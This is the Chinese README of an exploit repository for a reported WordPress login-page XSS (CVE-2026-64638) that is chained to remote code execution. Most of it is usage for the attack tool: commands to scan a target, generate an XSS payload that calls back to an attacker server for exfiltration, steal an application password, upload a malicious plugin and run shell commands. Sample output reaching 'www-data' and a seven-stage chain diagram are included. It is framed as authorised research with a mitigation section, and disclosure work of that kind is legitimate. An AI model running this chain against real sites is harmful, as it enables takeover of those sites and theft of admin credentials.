预认证反射型 XSS → WordPress 核心远程代码执行
⚠️ 免责声明: 本仓库仅用于授权的安全研究和教育目的。请勿对非您所有或未经您明确书面许可的系统进行测试。未经授权的访问属于违法行为。请参阅 SECURITY.md。
CVE-2026-64638 是 WordPress 核心登录/wplogin 处理流程中的一个预认证反射型 XSS 漏洞。该缺陷源于解析器差异:精心构造的恶意输入能够绕过 PHP 的 strip_tags(),随后又被 wp_kses_post() 重新构造成 HTML,使得攻击者控制的标记得以进入 DOM。
pwn.ai 的研究人员演示了 XSS2Shell——一条攻击链,当经过身份验证的管理员与攻击者控制的内容交互时,可将此 XSS 升级为默认 WordPress 安装上的完整 PHP 代码执行。
| 属性 | 值 |
|---|
| CVE | CVE-2026-64638 |
| CVSS | 8.9 |
| 类型 | 反射型 XSS → RCE 攻击链 |
| 组件 | WordPress 核心登录页面 |
| 受影响版本 | WordPress < 7.0.3(回溯至 4.7) |
| 已修复版本 | WordPress 7.0.3(2026 年 8 月 6 日) |
| 根本原因 | 解析器差异:strip_tags() 与 wp_kses_post() |
git clone https://github.com/<your>/CVE-2026-64638-POC.git
cd CVE-2026-64638-POC
# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain
执行流程:
[STAGE 1] WordPress 7.0.2 → VULNERABLE
[STAGE 2] XSS payload URL generated
[STAGE 3] Application Password created
[STAGE 4] Plugin uploaded + activated
[STAGE 5] RCE → uid=33(www-data)
./test.sh up # Start Docker + install WordPress (admin/admin123)
./test.sh scan # Detect version & patch status
./test.sh chain # Run full XSS2Shell RCE chain
./test.sh all # up + scan + chain (all-in-one)
./test.sh down # Stop containers
./test.sh clean # Stop + remove all volumes
# Or with Make
make up # Start Docker
make install # Install WordPress
make scan # Check vulnerability
make gen-xss # Generate XSS payload URL
make test-chain # Full RCE chain
make serve # Start callback server on :8080
make down # Stop containers
CVE-2026-64638-POC/
├── README.md
├── SECURITY.md # Security policy & disclaimer
├── docker-compose.yml # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile # Shortcut commands
├── test.sh # Automated test suite
├── requirements.txt # Python dependencies
│
├── xss2shell_chain.py # [MAIN] Full chain: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py # Version detection + username reflection test
├── xss2shell_checker.py # Lightweight patch checker (safe, non-exploitative)
├── exploit_server.py # Callback server for XSS exfiltration
├── xss_payload.html # Interactive XSS PoC (browser)
│
└── docs/
├── CHAIN.md # Technical breakdown of all 7 chain stages
├── MITIGATION.md # Defensive guidance + detection rules
└── PAYLOAD_NOTES.md # Notes on the CVE-specific bypass payload
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
# Scan target
python3 xss2shell_chain.py scan -u https://target.example.com
# Generate XSS payload
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080
# Full chain (requires WordPress admin credentials)
python3 xss2shell_chain.py chain \
-u https://target.example.com \
--user admin --pass "password" \
--cmd "id"
# Individual stages
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"
完整细节请参阅 docs/CHAIN.md。
┌─────────────────────────────────────────────────────────────────┐
│ 1. Reflected XSS on wp-login.php (failed-login error page) │
│ 2. DOM clobbering to manipulate page context │
│ 3. JSONP / Same-Origin Method Execution (SOME) │
│ 4. Application Password creation via REST API │
│ 5. REST API access with stolen Application Password │
│ 6. Malicious plugin/theme upload │
│ 7. PHP code execution → full RCE │
└─────────────────────────────────────────────────────────────────┘
注意: 第 3-7 阶段需要已登录的管理员与 XSS 载荷交互。该漏洞为预认证漏洞,但完整的 RCE 攻击链需要管理员级别的访问权限才能完成。
详细的加固和检测规则请参阅 docs/MITIGATION.md。
安全研究与 PoC。仅供教育用途。
MIT — 请参阅 LICENSE